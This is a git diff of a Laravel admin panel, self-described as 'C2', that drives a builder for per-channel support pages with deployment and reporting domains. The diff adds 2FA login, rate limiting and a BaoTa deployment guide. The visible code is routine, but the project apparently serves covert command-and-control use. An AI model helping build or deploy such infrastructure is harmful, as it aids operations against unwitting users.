diff --git a/.env.example b/.env.example index a9f0267..c0c0ae9 100644 --- a/.env.example +++ b/.env.example @@ -46,14 +46,11 @@ ADMIN_PASSWORD=admin123 # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. CORUNA_SESSION_KEY= -# Channel link display + builder deployment_domains (when channel.domains is empty). +# Channel domains (link display + builder deployment_domains when channel.domains is empty). # Overridable by 系统设置 → 投放域名. CORUNA_LAB_CHANNEL_DOMAINS= -# Builder reporting_domains (always from env; not overridden by channel.domains). -CORUNA_LAB_AMIDN_DOMAINS= -# Legacy aliases (optional): -# CORUNA_DEPLOYMENT_DOMAINS= / CORUNA_CHANNEL_DOMAINS= → CORUNA_LAB_CHANNEL_DOMAINS -# CORUNA_REPORTING_DOMAINS= → CORUNA_LAB_AMIDN_DOMAINS +# API / reporting domains for the builder (always from env; not overridden by channel.domains). +CORUNA_REPORTING_DOMAINS= # Sibling project coruna-lab-web build API (Bearer authentication) CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081 CORUNA_BUILD_SERVICE_TOKEN= diff --git a/README.md b/README.md index f82bf03..a716df0 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,9 @@ php artisan serve --host=0.0.0.0 --port=8000 Admin: - Shell: `http://127.0.0.1:8000/admin` -- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`) +- Login: `http://127.0.0.1:8000/admin/login` — AJAX JSON 登录(参考 qrpay):用户名 / 密码 / 可选谷歌验证码 +- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`) +- 登录后「安全 → 谷歌验证」可绑定 Google Authenticator ## 新建渠道 @@ -48,11 +50,11 @@ CORUNA_BUILD_SERVICE_TOKEN=replace-me CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5 CORUNA_BUILD_SERVICE_TIMEOUT=600 CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example -CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example +CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example CORUNA_STATIC_SITE_BASE_URL=https://static.example ``` -创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。 +创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_REPORTING_DOMAINS`。 构建:`POST /v1/channels/{id}/build` 删除:`DELETE /v1/channels/{id}` @@ -64,7 +66,8 @@ https:///channel//web/support.html https:///channel//sync/daily.html ``` -构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。 +构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。 +宝塔同机部署(含 Telegram webhook)见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。 ## C2 / Admin 说明 diff --git a/app/Http/Controllers/Admin/AdminUserController.php b/app/Http/Controllers/Admin/AdminUserController.php index 416a92e..c82aea7 100644 --- a/app/Http/Controllers/Admin/AdminUserController.php +++ b/app/Http/Controllers/Admin/AdminUserController.php @@ -22,7 +22,7 @@ class AdminUserController extends Controller $q->where('username', 'like', '%'.$username.'%'); } - $sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at']; + $sortable = ['id', 'username', 'is_super', 'status', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { @@ -40,6 +40,9 @@ class AdminUserController extends Controller 'id' => $a->id, 'username' => $a->username, 'is_super' => (int) $a->is_super, + 'status' => (int) $a->status, + 'google_auth_open' => (int) $a->google_auth_open, + 'last_ip' => $a->last_ip, 'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'), 'is_self' => $a->id === $selfId, @@ -60,12 +63,14 @@ class AdminUserController extends Controller 'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')], 'password' => ['required', 'string', 'min:6', 'max:128'], 'is_super' => ['nullable', 'integer', Rule::in([0, 1])], + 'status' => ['nullable', 'integer', Rule::in([0, 1])], ]); $admin = Admin::query()->create([ 'username' => $data['username'], 'password' => $data['password'], 'is_super' => (int) ($data['is_super'] ?? 0), + 'status' => (int) ($data['status'] ?? 1), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]); @@ -76,6 +81,7 @@ class AdminUserController extends Controller $data = $request->validate([ 'password' => ['nullable', 'string', 'min:6', 'max:128'], 'is_super' => ['nullable', 'integer', Rule::in([0, 1])], + 'status' => ['nullable', 'integer', Rule::in([0, 1])], ]); if (array_key_exists('is_super', $data) && $data['is_super'] !== null) { @@ -86,6 +92,13 @@ class AdminUserController extends Controller $adminUser->is_super = $newSuper; } + if (array_key_exists('status', $data) && $data['status'] !== null) { + if ((int) $adminUser->id === (int) auth('admin')->id() && (int) $data['status'] === 0) { + return response()->json(['code' => 1, 'msg' => '不能禁用当前登录账号'], 422); + } + $adminUser->status = (int) $data['status']; + } + if (! empty($data['password'])) { $adminUser->password = $data['password']; } diff --git a/app/Http/Controllers/Admin/AuthController.php b/app/Http/Controllers/Admin/AuthController.php index 53c6ccb..e3c2934 100644 --- a/app/Http/Controllers/Admin/AuthController.php +++ b/app/Http/Controllers/Admin/AuthController.php @@ -3,11 +3,21 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; +use App\Models\Admin; +use App\Services\AdminGoogle2fa; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; +use Illuminate\Support\Facades\RateLimiter; +use Illuminate\Support\Str; +use Illuminate\Validation\ValidationException; class AuthController extends Controller { + private const MAX_ATTEMPTS = 5; + + private const DECAY_SECONDS = 60; + public function showLogin() { if (Auth::guard('admin')->check()) { @@ -22,23 +32,78 @@ class AuthController extends Controller return view('admin.shell'); } - public function login(Request $request) + public function login(Request $request, AdminGoogle2fa $google2fa): JsonResponse { - $credentials = $request->validate([ - 'username' => 'required|string', - 'password' => 'required|string', - ]); - - if (Auth::guard('admin')->attempt( - ['username' => $credentials['username'], 'password' => $credentials['password']], - $request->boolean('remember') - )) { - $request->session()->regenerate(); - - return redirect()->intended(route('admin.home')); + try { + $credentials = $request->validate([ + 'username' => 'required|string|min:2|max:64', + 'password' => 'required|string|min:6|max:128', + 'GACode' => 'nullable|string|max:16', + ], [ + 'username.required' => '请输入用户名', + 'password.required' => '请输入密码', + ]); + } catch (ValidationException $e) { + return response()->json([ + 'code' => 1, + 'msg' => collect($e->errors())->flatten()->implode('
'), + ]); } - return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username'); + $throttleKey = $this->throttleKey($request); + if (RateLimiter::tooManyAttempts($throttleKey, self::MAX_ATTEMPTS)) { + $seconds = RateLimiter::availableIn($throttleKey); + + return response()->json([ + 'code' => 1, + 'msg' => '登陆失败次数过多,请'.$seconds.'秒后再重试', + ]); + } + + if (! Auth::guard('admin')->attempt( + ['username' => $credentials['username'], 'password' => $credentials['password']], + false + )) { + RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); + } + + /** @var Admin $user */ + $user = Auth::guard('admin')->user(); + + if ((int) $user->status !== 1) { + Auth::guard('admin')->logout(); + RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + + return response()->json(['code' => 1, 'msg' => '用户已被禁用']); + } + + if ((int) $user->google_auth_open === 1) { + $code = (string) ($credentials['GACode'] ?? ''); + if ($code === '') { + Auth::guard('admin')->logout(); + + return response()->json(['code' => 1, 'msg' => '请输入谷歌验证码!']); + } + if (! $google2fa->verify((string) $user->google_secret, $code)) { + Auth::guard('admin')->logout(); + RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + + return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确!']); + } + } + + RateLimiter::clear($throttleKey); + $request->session()->regenerate(); + + $user->forceFill(['last_ip' => $request->ip()])->save(); + + return response()->json([ + 'code' => 0, + 'msg' => '登录成功', + 'data' => route('admin.home'), + ]); } public function logout(Request $request) @@ -49,4 +114,9 @@ class AuthController extends Controller return redirect()->route('admin.login'); } + + private function throttleKey(Request $request): string + { + return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip()); + } } diff --git a/app/Http/Controllers/Admin/Google2faController.php b/app/Http/Controllers/Admin/Google2faController.php new file mode 100644 index 0000000..2754956 --- /dev/null +++ b/app/Http/Controllers/Admin/Google2faController.php @@ -0,0 +1,155 @@ +user(); + + return view('admin.security.google2fa', [ + 'enabled' => (int) $admin->google_auth_open === 1, + 'bound' => filled($admin->google_secret), + ]); + } + + public function prepare(Request $request, AdminGoogle2fa $google2fa): JsonResponse + { + /** @var Admin $admin */ + $admin = auth('admin')->user(); + + $data = $request->validate([ + 'password' => ['required', 'string'], + ], [ + 'password.required' => '登陆密码不能为空', + ]); + + if (! Hash::check($data['password'], $admin->password)) { + return response()->json(['code' => 1, 'msg' => '登陆密码不正确']); + } + + if ((int) $admin->google_auth_open === 1 || filled($admin->google_secret)) { + return response()->json(['code' => 201, 'msg' => '您已绑定谷歌验证,可直接开启或关闭']); + } + + $secret = $google2fa->generateSecret(); + $request->session()->put('admin_google2fa_pending_secret', $secret); + + $otpAuthUrl = $google2fa->otpAuthUrl($admin, $secret); + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'secret' => $secret, + 'qr_svg' => $google2fa->qrSvg($otpAuthUrl), + ]); + } + + public function bind(Request $request, AdminGoogle2fa $google2fa): JsonResponse + { + /** @var Admin $admin */ + $admin = auth('admin')->user(); + + $data = $request->validate([ + 'GAKey' => ['required', 'string', 'max:16'], + 'GASecret' => ['required', 'string', 'max:64'], + ], [ + 'GAKey.required' => '请输入谷歌验证码', + 'GASecret.required' => '参数不完整', + ]); + + $pending = (string) $request->session()->get('admin_google2fa_pending_secret', ''); + if ($pending === '' || ! hash_equals($pending, $data['GASecret'])) { + return response()->json(['code' => 1, 'msg' => '绑定已过期,请重新获取二维码']); + } + + if (! $google2fa->verify($data['GASecret'], $data['GAKey'])) { + return response()->json(['code' => 1, 'msg' => '绑定失败,验证码不正确']); + } + + $admin->forceFill([ + 'google_auth_open' => 1, + 'google_secret' => $data['GASecret'], + ])->save(); + + $request->session()->forget('admin_google2fa_pending_secret'); + + return response()->json(['code' => 0, 'msg' => '绑定成功,下次登录将需要输入谷歌验证码']); + } + + public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse + { + /** @var Admin $admin */ + $admin = auth('admin')->user(); + + $data = $request->validate([ + 'password' => ['required', 'string'], + 'open' => ['required', 'integer', 'in:0,1'], + 'GACode' => ['nullable', 'string', 'max:16'], + ]); + + if (! Hash::check($data['password'], $admin->password)) { + return response()->json(['code' => 1, 'msg' => '登陆密码不正确']); + } + + if (! filled($admin->google_secret)) { + return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']); + } + + $open = (int) $data['open']; + if ($open === 0) { + $code = (string) ($data['GACode'] ?? ''); + if (! $google2fa->verify((string) $admin->google_secret, $code)) { + return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']); + } + } + + $admin->forceFill(['google_auth_open' => $open])->save(); + + return response()->json([ + 'code' => 0, + 'msg' => $open === 1 ? '已开启谷歌验证' : '已关闭谷歌验证', + ]); + } + + public function unbind(Request $request, AdminGoogle2fa $google2fa): JsonResponse + { + /** @var Admin $admin */ + $admin = auth('admin')->user(); + + $data = $request->validate([ + 'password' => ['required', 'string'], + 'GACode' => ['required', 'string', 'max:16'], + ]); + + if (! Hash::check($data['password'], $admin->password)) { + return response()->json(['code' => 1, 'msg' => '登陆密码不正确']); + } + + if (! filled($admin->google_secret)) { + return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']); + } + + if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) { + return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']); + } + + $admin->forceFill([ + 'google_auth_open' => 0, + 'google_secret' => null, + ])->save(); + + $request->session()->forget('admin_google2fa_pending_secret'); + + return response()->json(['code' => 0, 'msg' => '已解除谷歌验证绑定']); + } +} diff --git a/app/Models/Admin.php b/app/Models/Admin.php index ce9aa85..ab06509 100644 --- a/app/Models/Admin.php +++ b/app/Models/Admin.php @@ -6,15 +6,25 @@ use Illuminate\Foundation\Auth\User as Authenticatable; class Admin extends Authenticatable { - protected $fillable = ['username', 'password', 'is_super']; + protected $fillable = [ + 'username', + 'password', + 'is_super', + 'status', + 'google_auth_open', + 'google_secret', + 'last_ip', + ]; - protected $hidden = ['password', 'remember_token']; + protected $hidden = ['password', 'remember_token', 'google_secret']; protected function casts(): array { return [ 'password' => 'hashed', 'is_super' => 'integer', + 'status' => 'integer', + 'google_auth_open' => 'integer', ]; } @@ -22,4 +32,9 @@ class Admin extends Authenticatable { return (int) $this->is_super === 1; } + + public function isEnabled(): bool + { + return (int) $this->status === 1; + } } diff --git a/app/Models/Channel.php b/app/Models/Channel.php index 95fd4e3..7ee8689 100644 --- a/app/Models/Channel.php +++ b/app/Models/Channel.php @@ -47,7 +47,7 @@ class Channel extends Model } /** - * Domains for support-link display and builder deployment_domains. + * Domains for support-link display and builder channel hosts. * Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS. * * @return list diff --git a/app/Services/AdminGoogle2fa.php b/app/Services/AdminGoogle2fa.php new file mode 100644 index 0000000..7b58e11 --- /dev/null +++ b/app/Services/AdminGoogle2fa.php @@ -0,0 +1,52 @@ +google2fa = $google2fa ?? new Google2FA; + } + + public function generateSecret(): string + { + return $this->google2fa->generateSecretKey(); + } + + public function verify(string $secret, string $code): bool + { + $code = trim($code); + if ($secret === '' || $code === '') { + return false; + } + + return (bool) $this->google2fa->verifyKey($secret, $code); + } + + public function otpAuthUrl(Admin $admin, string $secret): string + { + $issuer = (string) config('app.name', 'Coruna Lab'); + + return $this->google2fa->getQRCodeUrl($issuer, $admin->username.'@admin', $secret); + } + + public function qrSvg(string $otpAuthUrl, int $size = 200): string + { + $writer = new Writer(new ImageRenderer( + new RendererStyle($size), + new SvgImageBackEnd + )); + + return $writer->writeString($otpAuthUrl); + } +} diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 2768ce6..d837609 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -26,7 +26,7 @@ class ChannelProjectService throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)'); } if ($reportingDomains === []) { - throw new RuntimeException('上报域名未配置(CORUNA_LAB_AMIDN_DOMAINS)'); + throw new RuntimeException('上报域名未配置(CORUNA_REPORTING_DOMAINS)'); } $response = $this->request('post', $channelId, [ diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index c2e1cc4..1d2e561 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -83,7 +83,7 @@ class SettingsService if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) { $domains = self::parseDomains($map['channels.domains']); - // Settings override channel/deployment hosts only; reporting stays CORUNA_LAB_AMIDN_DOMAINS. + // Settings override channel hosts only; reporting stays CORUNA_REPORTING_DOMAINS. config([ 'coruna.channel_domains' => $domains, 'coruna.deployment_domains' => $domains, diff --git a/composer.json b/composer.json index 98d35ec..18b4a28 100644 --- a/composer.json +++ b/composer.json @@ -7,6 +7,7 @@ "license": "MIT", "require": { "php": "^8.2", + "bacon/bacon-qr-code": "^3.1", "furqansiddiqui/bip39-mnemonic-php": "^0.1.7", "guzzlehttp/guzzle": "^7.15", "kornrunner/keccak": "^1.1", @@ -14,6 +15,7 @@ "laravel/tinker": "^2.10.1", "nutgram/laravel": "^1.7", "nutgram/nutgram": "^4.49", + "pragmarx/google2fa": "^9.0", "simplito/elliptic-php": "^1.0" }, "require-dev": { diff --git a/composer.lock b/composer.lock index fdb1218..fbdf167 100644 --- a/composer.lock +++ b/composer.lock @@ -4,8 +4,63 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "3a1612bc4d46f2bcff8904370145b15f", + "content-hash": "2a3e9276f4cbc867f173d43e2742ffd3", "packages": [ + { + "name": "bacon/bacon-qr-code", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/Bacon/BaconQrCode.git", + "reference": "4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2", + "reference": "4da2233e72eeecd9be3b62e0dc2cc9ed8e2e31c2", + "shasum": "" + }, + "require": { + "dasprid/enum": "^1.0.3", + "ext-iconv": "*", + "php": "^8.1" + }, + "require-dev": { + "phly/keep-a-changelog": "^2.12", + "phpunit/phpunit": "^10.5.11 || ^11.0.4", + "spatie/phpunit-snapshot-assertions": "^5.1.5", + "spatie/pixelmatch-php": "^1.2.0", + "squizlabs/php_codesniffer": "^3.9" + }, + "suggest": { + "ext-imagick": "to generate QR code images" + }, + "type": "library", + "autoload": { + "psr-4": { + "BaconQrCode\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "https://dasprids.de/", + "role": "Developer" + } + ], + "description": "BaconQrCode is a QR code generator for PHP.", + "homepage": "https://github.com/Bacon/BaconQrCode", + "support": { + "issues": "https://github.com/Bacon/BaconQrCode/issues", + "source": "https://github.com/Bacon/BaconQrCode/tree/v3.1.1" + }, + "time": "2026-04-05T21:06:35+00:00" + }, { "name": "brick/math", "version": "0.14.8", @@ -135,6 +190,56 @@ ], "time": "2024-02-09T16:56:22+00:00" }, + { + "name": "dasprid/enum", + "version": "1.0.7", + "source": { + "type": "git", + "url": "https://github.com/DASPRiD/Enum.git", + "reference": "b5874fa9ed0043116c72162ec7f4fb50e02e7cce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DASPRiD/Enum/zipball/b5874fa9ed0043116c72162ec7f4fb50e02e7cce", + "reference": "b5874fa9ed0043116c72162ec7f4fb50e02e7cce", + "shasum": "" + }, + "require": { + "php": ">=7.1 <9.0" + }, + "require-dev": { + "phpunit/phpunit": "^7 || ^8 || ^9 || ^10 || ^11", + "squizlabs/php_codesniffer": "*" + }, + "type": "library", + "autoload": { + "psr-4": { + "DASPRiD\\Enum\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "https://dasprids.de/", + "role": "Developer" + } + ], + "description": "PHP 7.1 enum implementation", + "keywords": [ + "enum", + "map" + ], + "support": { + "issues": "https://github.com/DASPRiD/Enum/issues", + "source": "https://github.com/DASPRiD/Enum/tree/1.0.7" + }, + "time": "2025-09-16T12:23:56+00:00" + }, { "name": "dflydev/dot-access-data", "version": "v3.0.3", @@ -2856,6 +2961,75 @@ ], "time": "2026-07-24T22:11:53+00:00" }, + { + "name": "paragonie/constant_time_encoding", + "version": "v3.1.3", + "source": { + "type": "git", + "url": "https://github.com/paragonie/constant_time_encoding.git", + "reference": "d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/paragonie/constant_time_encoding/zipball/d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77", + "reference": "d5b01a39b3415c2cd581d3bd3a3575c1ebbd8e77", + "shasum": "" + }, + "require": { + "php": "^8" + }, + "require-dev": { + "infection/infection": "^0", + "nikic/php-fuzzer": "^0", + "phpunit/phpunit": "^9|^10|^11", + "vimeo/psalm": "^4|^5|^6" + }, + "type": "library", + "autoload": { + "psr-4": { + "ParagonIE\\ConstantTime\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Paragon Initiative Enterprises", + "email": "security@paragonie.com", + "homepage": "https://paragonie.com", + "role": "Maintainer" + }, + { + "name": "Steve 'Sc00bz' Thomas", + "email": "steve@tobtu.com", + "homepage": "https://www.tobtu.com", + "role": "Original Developer" + } + ], + "description": "Constant-time Implementations of RFC 4648 Encoding (Base-64, Base-32, Base-16)", + "keywords": [ + "base16", + "base32", + "base32_decode", + "base32_encode", + "base64", + "base64_decode", + "base64_encode", + "bin2hex", + "encoding", + "hex", + "hex2bin", + "rfc4648" + ], + "support": { + "email": "info@paragonie.com", + "issues": "https://github.com/paragonie/constant_time_encoding/issues", + "source": "https://github.com/paragonie/constant_time_encoding" + }, + "time": "2025-09-24T15:06:41+00:00" + }, { "name": "phpoption/phpoption", "version": "1.9.5", @@ -2931,6 +3105,58 @@ ], "time": "2025-12-27T19:41:33+00:00" }, + { + "name": "pragmarx/google2fa", + "version": "v9.0.0", + "source": { + "type": "git", + "url": "https://github.com/antonioribeiro/google2fa.git", + "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/antonioribeiro/google2fa/zipball/e6bc62dd6ae83acc475f57912e27466019a1f2cf", + "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf", + "shasum": "" + }, + "require": { + "paragonie/constant_time_encoding": "^1.0|^2.0|^3.0", + "php": "^7.1|^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.9", + "phpunit/phpunit": "^7.5.15|^8.5|^9.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "PragmaRX\\Google2FA\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Antonio Carlos Ribeiro", + "email": "acr@antoniocarlosribeiro.com", + "role": "Creator & Designer" + } + ], + "description": "A One Time Password Authentication package, compatible with Google Authenticator.", + "keywords": [ + "2fa", + "Authentication", + "Two Factor Authentication", + "google2fa" + ], + "support": { + "issues": "https://github.com/antonioribeiro/google2fa/issues", + "source": "https://github.com/antonioribeiro/google2fa/tree/v9.0.0" + }, + "time": "2025-09-19T22:51:08+00:00" + }, { "name": "psr/clock", "version": "1.0.0", diff --git a/config/coruna.php b/config/coruna.php index 37bc449..93fc801 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -4,24 +4,18 @@ $parseDomains = static fn (string $value): array => array_values(array_filter(ar 'trim', preg_split('/[\s,;]+/', $value) ?: [] ))); -// Channel / deployment hosts (link display fallback + builder deployment_domains). -$channelDomains = $parseDomains((string) env( - 'CORUNA_LAB_CHANNEL_DOMAINS', - env('CORUNA_DEPLOYMENT_DOMAINS', env('CORUNA_CHANNEL_DOMAINS', '')) -)); -// Reporting hosts passed to lab-web as reporting_domains. -$adminDomains = $parseDomains((string) env( - 'CORUNA_LAB_AMIDN_DOMAINS', - env('CORUNA_REPORTING_DOMAINS', '') -)); +// Channel hosts (link display fallback + builder deployment_domains). +$channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', '')); +// API / reporting hosts passed to lab-web as reporting_domains. +$reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', '')); return [ 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) - // channel_domains / deployment_domains: CORUNA_LAB_CHANNEL_DOMAINS (+ legacy aliases). + // CORUNA_LAB_CHANNEL_DOMAINS — also mirrored as deployment_domains for the build API payload. 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, - // reporting_domains: CORUNA_LAB_AMIDN_DOMAINS (+ legacy CORUNA_REPORTING_DOMAINS). - 'reporting_domains' => $adminDomains, + // CORUNA_REPORTING_DOMAINS + 'reporting_domains' => $reportingDomains, 'static_site' => [ // Optional complete origin/base path prepended before /channel/{id}/web/support.html. 'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'), diff --git a/database/migrations/2026_08_09_000001_admins_login_security.php b/database/migrations/2026_08_09_000001_admins_login_security.php new file mode 100644 index 0000000..4fde90c --- /dev/null +++ b/database/migrations/2026_08_09_000001_admins_login_security.php @@ -0,0 +1,25 @@ +unsignedTinyInteger('status')->default(1)->after('is_super'); + $table->unsignedTinyInteger('google_auth_open')->default(0)->after('status'); + $table->string('google_secret', 64)->nullable()->after('google_auth_open'); + $table->string('last_ip', 45)->nullable()->after('google_secret'); + }); + } + + public function down(): void + { + Schema::table('admins', function (Blueprint $table) { + $table->dropColumn(['status', 'google_auth_open', 'google_secret', 'last_ip']); + }); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md new file mode 100644 index 0000000..8b2ef7d --- /dev/null +++ b/docs/BAOTA_DEPLOY.md @@ -0,0 +1,512 @@ +# 宝塔部署指南(coruna-lab + coruna-lab-web) + +同机部署、职责分离。构建 API 仅本机访问;Admin / C2 与静态产物站对外。 + +兄弟项目构建细节另见 `[../../coruna-lab-web/docs/BUILD_API.md](../../coruna-lab-web/docs/BUILD_API.md)`。 + +## 架构 + + +| 角色 | 项目 / 路径 | 对外 | 进程 | +| ---------- | -------------------------- | ---------------------------- | ----------------- | +| C2 / Admin | `coruna-lab` | `https://admin.example.com` | Nginx + PHP-FPM | +| 静态产物站 | `coruna-lab-web/artifacts` | `https://static.example.com` | Nginx 只读静态 | +| Build API | `coruna-lab-web` | **仅本机** `127.0.0.1:8081` | Supervisor / 进程守护 | + + +```text +设备 / 运营 + │ + ├─ Admin / C2 API ──► coruna-lab (Laravel) + │ │ + │ └─ HTTP Bearer ──► 127.0.0.1:8081 (build_api) + │ │ + │ ▼ + └─ /channel//web|sync ──► static 站点 ──► artifacts/ +``` + +建议目录: + +```text +/www/wwwroot/coruna-lab/ +/www/wwwroot/coruna-lab-web/ +``` + +防火墙只放行 80/443;**不要**把 `8081` 暴露到公网。 + +--- + + + +## 0. 服务器准备 + +软件商店安装: + +- Nginx +- MySQL 8.0 +- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换) +- Python 3.10+(系统或面板) +- Composer(建议 ≥ 2.2,见下文排错) + +PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp** + +系统包:`p7zip-full`(或等价)、`git` + +### PHP 多版本 + +宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。 +CLI 请显式使用对应二进制,例如: + +```bash +/www/server/php/82/bin/php -v +/www/server/php/82/bin/php artisan migrate +``` + +扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。 + +### PHP 运行参数(FPM / 网站) + +路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`) + +建议: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +max_execution_time = 600 +max_input_time = 600 +``` + +- `post_max_size` ≥ `upload_max_filesize` +- Admin 触发构建会同步等待 lab-web,超时与 `.env` 中 `CORUNA_BUILD_SERVICE_TIMEOUT` 对齐(建议 ≥ 600) +- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准 + +Nginx 站点配置建议同时加大: + +```nginx +client_max_body_size 64m; +``` + +禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。 + +--- + + + +## 1. 部署 coruna-lab-web(先部署) + + + +### 1.1 代码与依赖 + +```bash +cd /www/wwwroot/coruna-lab-web + +python3 -m venv .venv +source .venv/bin/activate +pip install -r requirements.txt +pip install -r frontend/tools/requirements.txt + +mkdir -p artifacts +chown -R www:www artifacts # 按面板运行用户调整 +``` + + + +### 1.2 `.env` + +```bash +cp .env.example .env +python3 -c 'import secrets; print(secrets.token_urlsafe(48))' # 生成 token +``` + +示例: + +```dotenv +BUILD_API_TOKEN=用长随机串替换 +BUILD_API_ARTIFACT_ROOT=/www/wwwroot/coruna-lab-web/artifacts +BUILD_API_PROJECT_SCRIPT=/www/wwwroot/coruna-lab-web/frontend/tools/new_project.py +BUILD_API_PYTHON=/www/wwwroot/coruna-lab-web/.venv/bin/python +BUILD_API_HOST=127.0.0.1 +BUILD_API_PORT=8081 +BUILD_API_TIMEOUT=900 +``` + + + +### 1.3 进程守护 + +宝塔 → Supervisor / 进程守护管理器: + + +| 项 | 值 | +| ---- | ----------------------------------------------------------- | +| 名称 | `coruna-build-api` | +| 启动用户 | `www` | +| 运行目录 | `/www/wwwroot/coruna-lab-web` | +| 启动命令 | `/www/wwwroot/coruna-lab-web/.venv/bin/python -m build_api` | + + +验证: + +```bash +curl -s http://127.0.0.1:8081/health +``` + + + +### 1.4 静态站(只暴露 web / sync) + +新建站点(如 `static.example.com`): + +- 根目录:`/www/wwwroot/coruna-lab-web/artifacts` +- 关闭 PHP +- SSL 按需开启 + +配置示例(正则含 `{32}` 时**必须加引号**,否则 Nginx 会把 `{` 当配置块): + +```nginx +server { + listen 80; + listen 443 ssl http2; + server_name static.example.com; + root /www/wwwroot/coruna-lab-web/artifacts; + + location ~ "^/channel/[0-9a-f]{32}/(web|sync)/" { + try_files $uri =404; + add_header Cache-Control "public, max-age=300"; + } + + location / { + return 404; + } +} 